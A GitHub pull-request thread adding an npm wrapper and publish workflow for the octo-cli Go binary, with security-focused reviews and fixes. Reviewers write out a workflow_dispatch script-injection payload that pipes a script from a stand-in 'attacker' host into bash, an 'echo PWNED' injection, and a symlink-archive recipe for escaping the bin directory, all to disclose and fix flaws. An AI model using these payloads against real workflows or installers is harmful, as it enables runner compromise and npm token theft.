feat(npm): add @mininglamp-oss/octo-cli npm wrapper

[liuooo]

What

Distributes octo-cli via npm so Node-based agent runtimes (OpenClaw, etc.) can npm install -g @mininglamp-oss/octo-cli. The package is a thin wrapper around the prebuilt Go binary.

• npm/ — package.json (bin: octo-cli, version is a 0.0.0 placeholder filled at publish time), install.js (postinstall: download the matching release archive → verify sha256 → extract), run.js (shim that execs the binary), README
• install.js PATH hint — on a global install, if npm's bin dir isn't on PATH, it prints a shell-specific export PATH=… hint (zsh/bash/fish/Windows). Warn only; never edits config.
• .github/workflows/npm-publish.yml — publishes on GitHub Release published
• .gitignore — ignore npm/bin/ (the downloaded binary)
• README — npm install section

Aligned with octo-adapters' publish flow

After comparing with publish-octo.yml / create-openclaw-octo:

• ✅ --access public (scoped packages default to private)
• ✅ NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }} via setup-node
• ✅ dist-tag rule: a prerelease tag (contains -, e.g. v0.6.0-rc.1) publishes to @next; stable to @latest — so an rc never clobbers @latest
• ✅ SHA-pinned checkout / setup-node, permissions: {}, concurrency guard
• ✅ workflow_dispatch with a --dry-run path for manual testing

Deliberately NOT adopted: the dev-publish-on-every-merge workflow. octo-cli's wrapper downloads a binary from a matching release, so its npm version must track a real release tag — a per-merge -dev.<sha> version would have no matching release artifact and produce an uninstallable package.

Dependencies / merge order

• Builds on the octo → octo-cli rename (refactor!: rename binary and CLI command from octo to octo-cli #26, merged): the wrapper downloads octo-cli_<version>_<os>_<arch> archives.
• Therefore it can only publish from a release whose goreleaser archives use the octo-cli_ prefix — i.e. v0.6.0+. Merging this PR is safe before then; it just won't publish until such a release is cut and NPM_TOKEN is set (already configured on this repo).

Testing

• node --check on install.js / run.js: clean
• PATH-hint unit exercised across global/non-global, on/off-PATH, zsh/fish
• npm pack (with a real version) produces mininglamp-oss-octo-cli-<v>.tgz
• workflow: no tabs, valid YAML, --access public + dist-tag logic present

Note: the npm scope @mininglamp-oss ownership / NPM_TOKEN were sorted out separately (token is configured as a repo secret on octo-cli).

[github-actions]

Dependency Changes Detected

This PR modifies dependency files. Please review whether these changes are intentional.

Changed files:

• npm/package.json

Maintainer checklist:

• Confirm dependency changes are intentional
• Review package delta if lockfile changed

[lml2468]

Review: feat(npm): add @mininglamp-oss/octo-cli npm wrapper

Verdict: APPROVED

Blocking

None.

Non-blocking

• Race condition with goreleaser: if a GitHub Release is published before goreleaser finishes uploading assets, the npm package version would be live but postinstall would fail for early installers. The release: published trigger likely fires after assets are uploaded, but worth keeping in mind.
• No JS-level tests: the wrapper is thin enough (~195 lines total) that this is acceptable, but a small smoke test for maybeHintPath or the platform mapping could catch regressions.

Highlights

• Checksum verification: SHA-256 against checksums.txt before extraction — correct security posture.
• Clean platform mapping: process.platform → goreleaser os and process.arch → goreleaser arch tables align exactly with .goreleaser.yaml's name_template and format_overrides.
• Graceful error paths: 0.0.0 placeholder guard in install.js, ENOENT handling with reinstall hint in run.js, redirect limit in download(), and the maybeHintPath() best-effort PATH warning — all solid.
• Pinned CI actions: checkout and setup-node pinned by SHA, not tag — good supply-chain hygiene.
• Concurrency guard: cancel-in-progress: false prevents double-publish races.
• Dist-tag logic: prerelease versions (-rc.1, -beta.2) correctly route to @next instead of @latest.
• Minimal publish surface: files field limits npm tarball to scripts/ and README.md.

REVIEW_STATE=APPROVED

[Jerry-Xin]

The PR is relevant to octo-cli, but the npm publish trigger can publish an installable-looking package before the matching release binaries exist.

🔴 Blocking

• 🔴 Critical: .github/workflows/npm-publish.yml:14-16 publishes on the GitHub Release published event, but the existing release flow uploads GoReleaser artifacts only after the release is published in .github/workflows/release-publish.yml:33-70. That means npm publish can race ahead of artifact upload, and if the artifact build/upload fails, npm will permanently contain a version whose postinstall cannot download octo-cli_<version>_<os>_<arch> or checksums.txt. Please trigger npm publishing only after artifact upload succeeds, for example by adding it as a dependent job after build-artifacts, triggering from a completed release workflow, or otherwise explicitly verifying the required assets exist before npm publish.

💬 Non-blocking

• 🟡 Warning: npm/scripts/install.js:65-71 has an incorrect fallback prefix calculation. For a Unix global install path like <prefix>/lib/node_modules/@scope/pkg/scripts, the fallback walks past <prefix>, so the PATH hint can point at the wrong bin directory when npm_config_prefix is unavailable. This is best-effort only, but worth correcting if keeping the fallback.

• 🔵 Suggestion: npm/scripts/install.js:29-52 buffers the full download without a timeout or size guard. GitHub release assets are expected to be small and trusted here, but a request timeout would make failed installs less likely to hang indefinitely.

✅ Highlights

• Checksum verification is present before extraction in npm/scripts/install.js:132-139.
• The wrapper keeps the npm package thin and platform-gated via os / cpu in npm/package.json.
• run.js correctly forwards stdio and propagates the binary exit code.

[yujiawei]

Code Review — PR #27 (octo-cli)

Thanks for this — the wrapper is well thought through. SHA-pinned actions, permissions: {}, the 0.0.0 placeholder guard, the prerelease→@next dist-tag rule, and the checksum-before-extract flow are all done right, and the npm asset naming matches .goreleaser.yaml exactly (octo-cli_<version>_<os>_<arch>.{tar.gz|zip}, checksums.txt, os/arch maps, archive root layout — all verified, no mismatch). The publish flow will produce an installable package once a v0.6.0+ release exists.

Because this is a postinstall script that downloads and execs a native binary on every npm install, I held the network/trust paths to a high bar. One issue I'd ask to be fixed before merge, plus a cluster of security hardening on the download path that is worth doing while we're here.

Requested change (blocker)

1. download() has no request/socket timeout — a stalled connection hangs npm install forever — npm/scripts/install.js

https
  .get(url, { headers: { "User-Agent": "octo-cli-npm-installer" } }, (res) => { ... })
  .on("error", reject);

There is no timeout option, no req.setTimeout, and no response idle timeout. .on("error") fires on socket errors (ECONNRESET/DNS), but not on silence: if the TCP connection is established and the CDN then stalls (half-open connection, dropped CDN node, captive portal that accepts the socket but never sends bytes), the promise never settles and the entire npm install freezes with the last line being [octo-cli] downloading ... . npm imposes no wall-clock limit on lifecycle scripts, so nothing rescues it; in CI it manifests as an opaque job-timeout. This is cheap to fix and worth doing for a script that runs on every install:

const req = https.get(url, { headers, timeout: 30000 }, (res) => { ... });
req.on("timeout", () => req.destroy(new Error(`request timed out: ${url}`)));

Security hardening on the download path (strongly recommended)

This PR was flagged security-sensitive, and these tighten the install-time ACE surface. None is exploitable against stock GitHub today; they are defense-in-depth on a path that runs unattended.

2. Redirects are followed to any host with no allowlist — npm/scripts/install.js

if (res.statusCode >= 300 && res.statusCode < 400 && res.headers.location) {
  res.resume();
  resolve(download(res.headers.location, redirects + 1));
  return;
}

The redirect target is followed blindly with no host/protocol validation. The first hop is hardcoded to github.com, and an http:// target would throw (good — no silent transport downgrade), but a cross-host HTTPS redirect (GitHub open-redirect, DNS/CDN hijack of the redirect target, or a compromised release) would be fetched from the attacker host. The only backstop is the checksum, which is co-fetched from the same hop (see #4). Validate every hop:

const u = new URL(location, currentUrl);
if (u.protocol !== "https:") fail("non-https redirect");
const ok = ["github.com", "objects.githubusercontent.com", "codeload.github.com"];
if (!ok.includes(u.hostname)) fail(`redirect to unexpected host: ${u.hostname}`);

3. Checksum parser does not validate the hash shape — npm/scripts/install.js

const entry = sums.split("\n").map((l) => l.trim().split(/\s+/)).find((p) => p[1] === asset);
...
if (got !== entry[0]) fail(...)

entry[0] is trusted as the expected digest without asserting it is a 64-char lowercase hex string, and a duplicate filename line silently takes the first match. This fails safe today (a garbage hash just makes the compare fail), but for a security verifier the contract should be explicit:

if (!/^[0-9a-f]{64}$/.test(entry[0])) fail(`malformed checksum entry for ${asset}`);

4. (Note, not a required change) Checksum gives integrity, not provenance — npm/scripts/install.js

Both the archive and checksums.txt are fetched from the same release origin (${base}/...), so the sha256 check only proves the archive matches whatever checksums.txt that release currently serves — it catches accidental corruption, not a release-level compromise (leaked maintainer/NPM_TOKEN, malicious goreleaser run). This is the conventional baseline for npm binary wrappers (esbuild/swc do the same), so I'm not blocking on it — but for an OSS supply-chain artifact it's worth a follow-up: have goreleaser sign checksums.txt (signs: / cosign-keyless) and verify the signature in install.js, or bake the per-asset hashes into the published npm tarball at publish time so the trust anchor is the package the user already chose to install. At minimum, document that the checksum is integrity-only.

Non-blocking improvements (P2)

• No retries on transient network failures (install.js): a single ECONNRESET / momentary 5xx from the CDN calls fail() → exits → fails the whole install. A 3-attempt backoff for retryable errors/timeouts (but not 404 — fast-fail on wrong version is correct) matches what esbuild/swc do.
• run.js collapses signal deaths to exit code 1: when the binary is killed by a signal, spawnSync returns status === null and the shim exits 1, losing the conventional 128+signum (130 for SIGINT). Callers inspecting $? for Ctrl-C, and tools distinguishing interrupt from error, will misread it. Prefer if (res.signal) process.kill(process.pid, res.signal) or exit 128+signum.
• PATH-hint fallback walks one directory too far (install.js, the npm_config_prefix-unset branch): path.resolve(__dirname, "..","..","..","..", isWin ? ".." : "../..") lands one level above the real prefix (e.g. computes /usr instead of /usr/local), so the printed export PATH/setx hint points at the wrong dir. Best-effort and never breaks install, but it prints a misleading fix. Drop one level (5 .. on unix, 4 on Windows), or derive from the bin link instead of counting segments.
• tar/bsdtar assumed present (install.js): Windows is listed as supported, but tar.exe (bsdtar) only ships on Windows 10 1803+; on Server 2016 / older Win10 (and some minimal Linux containers) it's absent, so extraction fails with a generic extract failed: ... ENOENT after a verified download. Detect ENOENT and emit a targeted message; optionally a pure-Node zip fallback (yauzl) so Windows doesn't depend on bsdtar.
• Concurrency group keyed on github.ref (npm-publish.yml): a release run (refs/tags/v1.2.3) and a workflow_dispatch of the same version (refs/heads/main) land in different groups, so they don't serialize. Low impact (npm rejects re-publishing the same version; dispatch defaults to --dry-run), but group: npm-publish-${{ inputs.tag || github.ref_name }} keys both on the version.

Nits

• VERSION not sanitized before interpolation (install.js): VERSION is publisher-controlled (from the package's own package.json), so there's no downstream-consumer injection vector, but the 0.0.0 guard doesn't reject a malformed version, and a / or .. would flow into both the URL and path.join(binDir, asset). A strict semver assert early closes it defensively.
• download() buffers the whole body in memory with no size cap: harmless for a few-MB binary; streaming to disk with incremental hashing would bound memory on a hostile redirect.
• Hard process.exit(1) on any failure, no opt-out: correct and loud for a global -g CLI; only relevant if it's ever pulled in transitively in an air-gapped/CI context, where an OCTO_CLI_SKIP_DOWNLOAD escape hatch deferring fetch to first run would help. Document the intent.

Verified correct (no action)

• npm asset naming, OS/arch maps, checksums.txt filename, and archive root layout all match .goreleaser.yaml.
• Windows tar -xf <zip> -C dir octo-cli.exe extracts a single member correctly with Windows bsdtar.
• permissions: {} is correct — public checkout works and publish uses NODE_AUTH_TOKEN, not GITHUB_TOKEN.
• --dry-run wiring: real releases publish (DRY=""), manual dispatch defaults to dry-run — a good safety default.

Requesting changes on #1 (the install hang). #2 and #3 are small and high-value for a security-sensitive installer; the rest are non-blocking and can be addressed at your discretion.

[liuooo]

Review responses (pushed in 0508a54 + ecd8791)

Tried to clear both blockers plus every non-blocking item.

@Jerry-Xin

• 🔴 npm-publish.yml publish/upload race — Fixed in ecd8791. The publish job now blocks on a gh release view-driven poll of the release assets until all 6 goreleaser archives (linux/darwin/windows × amd64/arm64) and checksums.txt are present, with a 30-minute deadline and ::error:: on timeout. --dry-run skips the wait. So the workflow remains release-triggered, but it cannot publish a version that has no matching artifacts.
• 🟡 install.js:65-71 PATH-hint fallback walked one level too far — Fixed. Now 5 .. on unix (lands at /usr/local), 4 on Windows. Verified with a smoke test against /usr/local/lib/node_modules/@scope/pkg/scripts.
• 🔵 No timeout or size guard in download() — Both done (see @yujiawei chore: add CODEOWNERS with maintainers team ownership #1 below for the timeout; added a 200 MiB cap on the buffered body too).

@yujiawei

• 🔴 download() no timeout — npm install hangs forever — Fixed. https.get(url, {timeout: 30_000}) + req.on('timeout', () => req.destroy(...)). The request fails cleanly on a half-open socket / CDN stall.
• 🟡 Redirects followed to any host with no allowlist — Fixed. Every hop (including the initial URL) goes through assertSafeHost(), which asserts protocol === 'https:' and hostname ∈ {github.com, objects.githubusercontent.com, codeload.github.com}. A non-HTTPS or off-list target throws before any fetch happens.
• 🟡 Checksum parser doesn't validate hash shape — Fixed. entry[0] is now asserted against ^[0-9a-f]{64}$ and the error message tells you the bad entry.
• 🔵 Checksum gives integrity, not provenance — Acknowledged. Not addressed in this PR — left as a follow-up (goreleaser signs: + cosign verification, or baking per-asset hashes into the tarball at publish time). Adding it now would meaningfully expand the PR scope and the change would need a fresh round of review.
• No retries on transient network failures — Fixed. 3 attempts with exponential backoff (500ms / 1s / 2s). Retries on timeout, ECONNRESET, and 5xx; 404 is treated as non-retryable.
• run.js collapses signal deaths to exit 1 — Fixed. The shim now process.kill(self, res.signal) to re-raise the same signal, with a 128+signum fallback for portability (so $? is 130 on SIGINT, 143 on SIGTERM, etc.).
• PATH-hint fallback walks one level too far — Fixed (same change as @Jerry-Xin's note).
• tar/bsdtar assumed present — Fixed. ENOENT from execFileSync('tar', ...) now emits a targeted message naming bsdtar / Git for Windows / apt-get install tar instead of bubbling up as a bare extract failed: ENOENT. A pure-Node zip fallback would be more invasive (new dep or hand-rolled inflate) — happy to add it as a follow-up if Windows 10 < 1803 actually shows up in practice.
• concurrency.group not shared between release and dispatch — Fixed. Group key is now ${{ inputs.tag || github.ref_name }}, so both events for the same version land in the same group.
• VERSION not sanitized before interpolation — Fixed. Strict semver assertion (^\d+\.\d+\.\d+(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?$) before VERSION is used in any URL or path. The workflow does the same assertion on the resolved tag.
• download() buffers in memory with no size cap — Added a 200 MiB cap (far above any sane archive); on overflow the request is destroyed mid-flight.
• Hard process.exit(1) on any failure — Kept as-is. An OCTO_CLI_SKIP_DOWNLOAD escape hatch could come later if the air-gapped/transitive use case actually surfaces.

@lml2468

• Race condition with goreleaser — Fixed (same change as @Jerry-Xin's chore: add CODEOWNERS with maintainers team ownership #1).
• No JS-level tests — Not added in this round; the maybeHintPath() export is unchanged and the new code is similarly thin. A jest-style smoke test for the platform map + maybeHintPath + assertSafeHost would be reasonable as a follow-up.

Commits

• 0508a54 — fix(npm): harden the installer and shim per PR #27 review (install.js + run.js)
• ecd8791 — fix(ci): npm-publish waits for goreleaser artifacts before publishing (workflow)

Both pushed as additive commits to feat/octo-cli-npm; no force-push.

[lml2468]

Re-review: ecd8791 (previously APPROVED at 4db164a)

Previous Blocking Issues (from Jerry-Xin / Allen)

All three resolved:

1. npm publish ↔ goreleaser race condition ✅ — New "Wait for goreleaser artifacts" step polls gh release view for all 7 expected assets (6 platform archives + checksums.txt) with a 30-minute deadline and 15-second intervals. Correctly skipped on --dry-run. The contents: read permission is minimal and justified.

2. Download timeout / size guard ✅ — REQUEST_TIMEOUT_MS = 30_000, MAX_DOWNLOAD_BYTES = 200 MiB, MAX_RETRIES = 3 with exponential backoff (500ms → 1s → 2s). 404 is non-retryable (fast-fail), 5xx and socket errors retry. The redirect host allowlist (ALLOWED_HOSTS) is a solid security addition.

3. Fallback prefix path calculation ✅ — Unix: 5 levels (scripts → pkg → @scope → node_modules → lib → prefix), Windows: 4 levels. Matches npm's actual global layout.

New Improvements (not in previous round)

• run.js signal propagation: re-raises the signal for proper 128+signum exit codes instead of generic 1 — shells and supervisors now see SIGINT correctly.
• Semver validation before URL interpolation.
• Checksum format validation (/^[0-9a-f]{64}$/).
• tar ENOENT handling with platform-specific guidance.
• Concurrency key uses inputs.tag || github.ref_name so release-triggered and manual runs of the same version serialize properly.

Verified

• release-publish.yml confirmed: build-artifacts runs goreleaser with --skip=publish,announce then uploads via gh release upload. The expected asset list in npm-publish matches this output.
• The getOnce → downloadOnce → download layering is clean: redirect-following is separated from retry logic, and each layer has clear single responsibility.
• assertSafeHost runs on every hop, not just the initial URL.

No remaining concerns. LGTM.

[Jerry-Xin]

The PR is relevant to octo-cli, but the npm installer will currently reject real GitHub release downloads.

🔴 Blocking

• 🔴 Critical: npm/scripts/install.js:25-29 allowlists github.com, objects.githubusercontent.com, and codeload.github.com, but GitHub release asset downloads currently redirect to release-assets.githubusercontent.com. Because downloadOnce() validates every redirect at npm/scripts/install.js:99-103, postinstall will fail before downloading the archive or checksums.txt at npm/scripts/install.js:207-208. I verified this against the existing v0.5.0 release asset URL, which resolves to https://release-assets.githubusercontent.com/.... Add release-assets.githubusercontent.com to the allowlist or adjust the redirect validation to match GitHub’s release asset host.

💬 Non-blocking

• 🟡 Warning: Please verify the automatic publish trigger with the existing release flow. The new workflow relies on on: release: published in .github/workflows/npm-publish.yml:14-16, while the repo’s release flow appears to publish releases from .github/workflows/release-publish.yml using workflow credentials. If that event is suppressed by GitHub’s workflow-token recursion rules in this setup, npm publishing would only work through workflow_dispatch.

✅ Highlights

• The wrapper is appropriately scoped to npm distribution of the existing Go binary.
• The installer validates platform/version, checks SHA-256 before extraction, avoids shell interpolation for archive extraction, and keeps PATH changes as warnings only.
• run.js correctly forwards stdio/arguments and preserves child exit status/signals.

[liuooo]

Round-2 review responses (pushed in 0807a37)

@Jerry-Xin

• 🔴 release-assets.githubusercontent.com missing from the allowlist — Fixed in 0807a37. Confirmed your finding: GitHub release assets currently 302 to release-assets.githubusercontent.com (a JWT-signed URL CDN). Added it to ALLOWED_HOSTS; kept objects.githubusercontent.com as a fallback in case GitHub reverts or routes some downloads through the older CDN.

  End-to-end smoke test against the existing v0.5.0 release (with the asset prefix temporarily patched from octo-cli_ → octo_ to match that release's pre-rename naming):

  [octo-cli] downloading octo_0.5.0_darwin_arm64.tar.gz ...
  [octo-cli] installed octo-cli 0.5.0 (darwin/arm64)
  $ ./bin/octo version
  { \"version\": \"0.5.0\", \"build_date\": \"2026-05-28T14:01:14Z\", ... }
  

  So the redirect now resolves, checksum verification passes, and the binary runs. Will repeat the test against a real v0.6.0+ release before tagging.

• 🟡 on: release: published + GitHub's GITHUB_TOKEN recursion rule — Acknowledged, valid concern. Per GitHub's rule, events triggered by GITHUB_TOKEN don't fire downstream workflows. release-publish.yml calls the org-level reusable workflow Mininglamp-OSS/.github/.github/workflows/reusable-release-publish.yml@main with contents: write, which presumably uses GITHUB_TOKEN to flip the release out of draft — so the release: published event likely will be suppressed in this setup.

  This PR doesn't change that situation (the trigger is unchanged from the previous round), and workflow_dispatch is retained as the manual escape hatch, but I agree the automatic path is unproven.

  Proposed follow-up (separate PR, doesn't expand this one's scope): have release-publish.yml's build-artifacts job — after the gh release upload step succeeds — invoke gh workflow run npm-publish.yml -f tag=$TAG -f dry_run=false. That gives a deterministic trigger ordering (publish only runs after artifacts upload succeeds), bypasses the recursion rule, and lets the wait-for-artifacts poll step act purely as a safety net for the manual-dispatch case. Would need actions: write added to that job. I'd rather land that as its own change so the trigger-chain semantics get reviewed in isolation.

Commit

• 0807a37 — fix(npm): allow release-assets.githubusercontent.com in redirect allowlist

Plain push, no force. Replied to all of Jerry's items; @lml2468's APPROVED is already on ecd8791.

[lml2468]

Re-review: 0807a37 (previously APPROVED at ecd8791)

Blocking Issue from Last Round

ALLOWED_HOSTS missing release-assets.githubusercontent.com ✅ Fixed — Single-line addition with updated comment explaining the CDN history. Verified against real GitHub release redirect chain (github.com → release-assets.githubusercontent.com).

The allowlist now covers the full redirect path:

• github.com — initial request
• release-assets.githubusercontent.com — current CDN for release assets
• objects.githubusercontent.com — legacy CDN (kept for forward compatibility)
• codeload.github.com — source archives

No other changes. All previous-round fixes (goreleaser wait, timeout/retry, prefix path, signal propagation) remain intact.

LGTM.

[Jerry-Xin]

Project relevance gate: pass. This PR is in scope for octo-cli, and I found no blocking correctness or security issues.

💬 Non-blocking

• 🟡 Warning: The new npm wrapper has meaningful behavior but no committed automated tests. The highest-value cases are download retry/failure handling, checksum parsing, archive extraction failure, PATH hint output, and run.js exit/signal propagation. Relevant areas: npm/scripts/install.js:57, npm/scripts/install.js:134, npm/scripts/install.js:216, npm/scripts/run.js:12.

• 🔵 Suggestion: Quote/escape PATH hint values per shell. fish_add_path ${binDir} and the Windows setx hint can misbehave when npm’s prefix contains spaces or shell metacharacters. See npm/scripts/install.js:164 and npm/scripts/install.js:177.

✅ Highlights

• Checksum verification, HTTPS-only redirect allowlisting, retry/timeout handling, and download size limits are good safeguards in npm/scripts/install.js.
• npm-publish.yml correctly waits for GoReleaser artifacts before publishing, uses --access public, and keeps prereleases on next.
• run.js preserves child exit codes and handles missing postinstall binaries cleanly.

[yujiawei]

Code Review — PR #27 (octo-cli)

Security-focused review of the npm wrapper that downloads and executes a remote Go binary on npm install. The overall design is solid: HTTPS-only, an explicit redirect allowlist re-checked on every hop, SHA-256 verification before extraction, size/redirect/timeout caps, and SHA-pinned CI actions. Two issues should be addressed before merge, plus several non-blocking notes.

Findings

1. (P2) Archive extraction can extract a symlink as the octo-cli member → arbitrary chmod / arbitrary-binary execution

npm/scripts/install.js:236-239

The install extracts only the named member (tar -xzf <tmp> -C binDir octo-cli), which correctly avoids generic zip-slip from other members. However, named-member extraction does not prevent the octo-cli member itself from being a symlink. I verified locally:

ln -s /path/to/victim payload/octo-cli
tar -czf evil.tar.gz -C payload octo-cli
tar -xzf evil.tar.gz -C bin octo-cli      # bin/octo-cli is now a symlink

Then fs.chmodSync(path.join(binDir, binName), 0o755) (line 239) follows the symlink and chmods the target. Confirmed: a 0600 file owned by the install user became 0755 through the extracted symlink. Subsequently run.js:12 spawnSyncs bin/octo-cli, which resolves the symlink and executes whatever it points to.

Impact: a malicious archive can (a) chmod any file the install user owns to 0755, and (b) cause octo-cli invocations to execute an arbitrary local executable.

Precondition: the archive must match checksums.txt, so this requires control of the GitHub Release contents (compromised token / malicious release), the same trust root as the binary itself. Hence P2 (defense-in-depth) rather than a remote-unauthenticated bug — but it lets a release-level compromise escalate beyond "run the binary we shipped" to "touch files outside bin/," which is exactly what extraction hardening should prevent.

Fix: pass a flag that refuses symlinks/keeps extraction inside the target. GNU tar and bsdtar both support refusing unsafe members; the most portable approach is to verify the extracted entry is a regular file before chmod:

const st = fs.lstatSync(path.join(binDir, binName));
if (!st.isFile()) fail("archive member 'octo-cli' is not a regular file");

Additionally consider tar options to drop symlinks during extraction. Note this is post-checksum, so it is a deliberate "don't let a bad archive escape bin/" guard.

2. (P2) Workflow script-injection: inputs.tag interpolated directly into the publish-job shell, before validation

.github/workflows/npm-publish.yml:60-62

REF="${{ inputs.tag }}"
DRY="${{ inputs.dry_run && '--dry-run' || '' }}"

inputs.tag is substituted into the run block as raw text before bash executes. A workflow_dispatch tag value of "; <command>; # breaks out of the assignment and runs arbitrary commands on the runner. Verified the rendered line becomes:

REF=""; echo PWNED; #"

The semver validation at lines 67-71 runs after the unsafe assignment at line 61, so it does not protect this step. Note line 64 already does the right thing on the release path by using the ${GITHUB_REF_NAME} env var — the inputs.tag path is the inconsistent one.

Impact: anyone able to trigger workflow_dispatch (write access) can execute arbitrary code in a job that has secrets.NPM_TOKEN available in a later step → potential npm-token exfiltration / arbitrary package publish. Gated by write access, so P2, but this is the token-handling workflow flagged security-sensitive, so it warrants hardening.

Fix: never interpolate ${{ inputs.* }} / ${{ github.* }} into a run: block. Pass through env: and reference shell variables:

env:
  EVENT_NAME: ${{ github.event_name }}
  INPUT_TAG: ${{ inputs.tag }}
  INPUT_DRY: ${{ inputs.dry_run }}
run: |
  if [ "$EVENT_NAME" = "workflow_dispatch" ]; then
    REF="$INPUT_TAG"
    [ "$INPUT_DRY" = "true" ] && DRY="--dry-run" || DRY=""
  ...

Same applies to ${{ steps.version.outputs.DRY_RUN }} at line 130 (lower risk since it is internally derived, but move it to env for consistency).

3. (P2 / note) Trust model: checksums.txt is unsigned and co-located with the archive (TOFU/integrity gap)

npm/scripts/install.js:211-227 + release flow

The SHA-256 check protects against transport corruption and partial CDN poisoning, but checksums.txt is fetched from the same release as the archive over the same channel, and is not cryptographically signed (no cosign/minisign). An actor who can write release assets replaces both consistently, and verification passes. The effective trust root is GitHub Release integrity + the npm publish pipeline, not the checksum.

This is acceptable for a v1 and is the common pattern, but it should be a conscious, documented decision rather than an implied guarantee. The code comment "verify its checksum" reads as stronger than the property actually provides. Recommend: (a) document that the trust root is the GitHub Release, and (b) consider signing checksums.txt (cosign keyless) in a follow-up so the npm installer can verify a signature whose key is not co-located with the artifact.

4. (nit) No overall download deadline — slow-trickle DoS from an allowlisted host

npm/scripts/install.js:63, 81-88

timeout: REQUEST_TIMEOUT_MS is an idle socket timeout; it does not fire while bytes keep arriving slowly. A compromised/misbehaving allowlisted CDN could trickle data just under the idle threshold up to ~200 MiB, stalling npm install. Low severity (allowlisted host, capped total bytes). Consider an absolute wall-clock deadline per download in addition to the idle timeout.

5. (nit) Version regex is laxer on the npm side than in CI; permits odd prerelease strings

npm/scripts/install.js:197 vs .github/workflows/npm-publish.yml:68

The installer regex accepts +build metadata (1.2.3+build) and prerelease strings like 1.2.3-.., while the CI regex (line 68) rejects +build. Because VERSION originates from the published package.json (publisher-controlled) and these strings are embedded mid-filename (octo-cli_<v>_<os>_<arch>, not a standalone path segment), I could not turn this into path traversal — path.join(binDir, asset) stays inside binDir. Still, aligning the two regexes (and rejecting +build, since CI never produces it) removes a latent inconsistency. Not blocking.

6. (nit) Disallowed-host / malformed-redirect errors are retried 3×

npm/scripts/install.js:119-122

assertSafeHost and new URL(...) throw errors without httpStatus, so status === undefined makes them retryable. A redirect to a hostile host is correctly rejected, but only after 3 attempts + backoff. Cosmetic (wastes a few seconds, no security impact); consider marking allowlist/parse failures as non-retryable.

Non-security notes

• entry.length < 2 (line 221) is dead code: .find(p => p[1] === asset) already guarantees length ≥ 2 when matched. Harmless.
• getOnce size-overflow relies on req.destroy(err) emitting 'error' to reject the promise; this holds on the supported Node ≥ 18 floor. Fine.
• run.js signal re-raise and exit-code propagation look correct.
• 404 fast-fail (non-retryable) for missing release assets is the right call.

Verdict

Requesting changes for findings #1 and #2 — both are concrete hardening gaps on a script that executes a remote binary and handles NPM_TOKEN. Neither is a remote-unauthenticated RCE (both are gated behind release/write-access compromise), but they are exactly the escalation paths a security-sensitive review should close. #3 should at minimum be documented. The rest are nits.

[yujiawei]

Code Review — PR #27 (octo-cli)

Thanks for this — the wrapper is genuinely well thought through. SHA‑pinned actions, top‑level permissions: {}, the 0.0.0 placeholder guard, the prerelease→@next dist‑tag rule, strict semver validation of the version before it touches a URL or a path, the host allowlist re‑checked on every redirect hop, the size/redirect/timeout/retry caps, and the checksum‑before‑extract flow are all done right. The asset naming also matches .goreleaser.yaml. Most of my findings are on the publish workflow, not the installer.

This PR is security‑sensitive (a postinstall that downloads and executes a remote binary, and a workflow that handles NPM_TOKEN), so I reviewed it accordingly. There is one code‑level blocker in the diff.

Blocking (P1)

1. Script injection: ${{ inputs.tag }} interpolated into a run: block before validation

.github/workflows/npm-publish.yml:67 (inside the "Resolve version and dist-tag" step)

REF="${{ inputs.tag }}"

The Actions expression engine substitutes inputs.tag as literal text into the shell source before bash parses the line. The semver regex at :74 runs against $VERSION only after this assignment has already executed, so it cannot gate the injection. A workflow_dispatch tag of:

v1.0.0"; curl -s https://attacker/x.sh | bash; echo "

renders the line as REF="v1.0.0"; curl -s ... | bash; echo "" and runs arbitrary commands on the runner. The injected code can plant a malicious .npmrc or background process that hijacks the later Publish to npm step, which holds secrets.NPM_TOKEN — i.e. token abuse / poisoned‑package publish (and that package itself executes a remote binary on install).

Note this is inconsistent with the very next branch: :70 already does it the safe way via REF="${GITHUB_REF_NAME}".

Severity: triggering requires repo write (workflow_dispatch is not reachable from forks/anonymous actors), which keeps it out of the "remote unauth" P0 band — but for a security‑sensitive token‑bearing workflow this is a textbook injection sink (CWE‑94) with a one‑line standard fix, and it will trip GHA linters (zizmor/actionlint). Please fix before merge.

Fix — pass untrusted inputs through env: and reference the shell variable (which is not re‑parsed as code):

- name: Resolve version and dist-tag
  id: version
  env:
    EVENT_NAME: ${{ github.event_name }}
    INPUT_TAG: ${{ inputs.tag }}
    INPUT_DRY: ${{ inputs.dry_run && '--dry-run' || '' }}
  run: |
    if [ "$EVENT_NAME" = "workflow_dispatch" ]; then
      REF="$INPUT_TAG"; DRY="$INPUT_DRY"
    else
      REF="${GITHUB_REF_NAME}"; DRY=""
    fi
    ...

Also move the ${{ steps.version.outputs.DRY_RUN }} interpolation on :136 into env: for the same reason (it is currently only ever --dry-run/empty, so not exploitable today, but keep the pattern consistent).

2. NPM_TOKEN-bearing publish has no protected Environment

.github/workflows/npm-publish.yml job publish (:44) + Publish step (:133-136), trigger workflow_dispatch (:23)

The job that consumes NPM_TOKEN is not bound to a protected GitHub Environment (no environment: key). workflow_dispatch is available to anyone with repo write, so there is no required‑reviewer / wait‑timer gate between an arbitrary dispatch and a real npm publish with the production token. Publish authority is effectively coupled to commit authority; combined with finding #1 this becomes package takeover, but it stands on its own even without the injection.

Fix: bind the job to an Environment with required reviewers, e.g. environment: npm-release, configured in repo settings. (This is partly a repo‑settings change, so I'm flagging it as strongly recommended hardening rather than a pure‑diff blocker — but for a token‑bearing publish path it's the canonical control and worth doing alongside #1.)

Non-blocking — recommended hardening (P2)

• npm provenance (:136): the package runs a postinstall that downloads+executes a binary, so consumers benefit from a cryptographic origin link for the tarball itself (the checksum only protects the downloaded binary, not install.js). Add id-token: write to the job permissions and --provenance to npm publish (npm ≥ 9.5, public repo — both satisfied here).
• Symlink guard on the extracted member (install.js:483-489): named‑member extraction (tar … octo-cli) prevents zip‑slip from other members, but the octo-cli member could itself be a symlink — fs.chmodSync and the later spawnSync would follow it. This is fully behind the GitHub‑release trust root (an actor who can match checksums.txt could just ship a malicious regular‑file binary), so it's defense‑in‑depth, but cheap and zero‑regression since goreleaser never emits symlink members:

  const st = fs.lstatSync(path.join(binDir, binName));
  if (!st.isFile()) fail("archive member 'octo-cli' is not a regular file");

Nits (optional)

• npm/package.json declares "license": "Apache-2.0" but no LICENSE exists at the npm package root (npm/), so the published tarball ships the declaration without the license text (Apache‑2.0 §4). Add npm/LICENSE.
